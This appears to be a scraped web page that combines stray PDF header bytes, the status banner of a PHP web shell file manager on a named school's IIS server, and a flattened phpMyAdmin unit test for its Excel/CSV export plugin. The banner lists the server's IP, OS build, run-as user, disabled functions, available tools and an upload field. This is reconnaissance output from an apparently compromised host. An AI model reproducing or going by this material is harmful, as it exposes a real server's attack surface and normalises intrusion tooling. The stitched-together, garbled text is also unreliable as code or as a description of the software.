%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/phpMyAdmin/test/classes/plugin/export/ |
Upload File : |
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * tests for PMA\libraries\plugins\export\ExportExcel class * * @package PhpMyAdmin-test */ use PMA\libraries\plugins\export\ExportExcel; require_once 'libraries/export.lib.php'; require_once 'libraries/config.default.php'; require_once 'export.php'; require_once 'test/PMATestCase.php'; /** * tests for PMA\libraries\plugins\export\ExportExcel class * * @package PhpMyAdmin-test * @group medium */ class ExportExcelTest extends PMATestCase { protected $object; /** * Configures global environment. * * @return void */ function setup() { $GLOBALS['server'] = 0; $this->object = new ExportExcel(); } /** * tearDown for test cases * * @return void */ public function tearDown() { unset($this->object); } /** * Test for PMA\libraries\plugins\export\ExportExcel::setProperties * * @return void */ public function testSetProperties() { $method = new ReflectionMethod('PMA\libraries\plugins\export\ExportExcel', 'setProperties'); $method->setAccessible(true); $method->invoke($this->object, null); $attrProperties = new ReflectionProperty('PMA\libraries\plugins\export\ExportExcel', 'properties'); $attrProperties->setAccessible(true); $properties = $attrProperties->getValue($this->object); $this->assertInstanceOf( 'PMA\libraries\properties\plugins\ExportPluginProperties', $properties ); $this->assertEquals( 'CSV for MS Excel', $properties->getText() ); $this->assertEquals( 'csv', $properties->getExtension() ); $this->assertEquals( 'text/comma-separated-values', $properties->getMimeType() ); $this->assertEquals( 'Options', $properties->getOptionsText() ); $options = $properties->getOptions(); $this->assertInstanceOf( 'PMA\libraries\properties\options\groups\OptionsPropertyRootGroup', $options ); $this->assertEquals( 'Format Specific Options', $options->getName() ); $generalOptionsArray = $options->getProperties(); $generalOptions = $generalOptionsArray[0]; $this->assertInstanceOf( 'PMA\libraries\properties\options\groups\OptionsPropertyMainGroup', $generalOptions ); $this->assertEquals( 'general_opts', $generalOptions->getName() ); $generalProperties = $generalOptions->getProperties(); $property = array_shift($generalProperties); $this->assertInstanceOf( 'PMA\libraries\properties\options\items\TextPropertyItem', $property ); $this->assertEquals( 'null', $property->getName() ); $this->assertEquals( 'Replace NULL with:', $property->getText() ); $property = array_shift($generalProperties); $this->assertInstanceOf( 'PMA\libraries\properties\options\items\BoolPropertyItem', $property ); $this->assertEquals( 'removeCRLF', $property->getName() ); $this->assertEquals( 'Remove carriage return/line feed characters within columns', $property->getText() ); $property = array_shift($generalProperties); $this->assertInstanceOf( 'PMA\libraries\properties\options\items\BoolPropertyItem', $property ); $this->assertEquals( 'columns', $property->getName() ); $this->assertEquals( 'Put columns names in the first row', $property->getText() ); $property = array_shift($generalProperties); $this->assertInstanceOf( 'PMA\libraries\properties\options\items\SelectPropertyItem', $property ); $this->assertEquals( 'edition', $property->getName() ); $this->assertEquals( array( 'win' => 'Windows', 'mac_excel2003' => 'Excel 2003 / Macintosh', 'mac_excel2008' => 'Excel 2008 / Macintosh' ), $property->getValues() ); $this->assertEquals( "Excel edition:", $property->getText() ); $property = array_shift($generalProperties); $this->assertInstanceOf( 'PMA\libraries\properties\options\items\HiddenPropertyItem', $property ); $this->assertEquals( 'structure_or_data', $property->getName() ); } }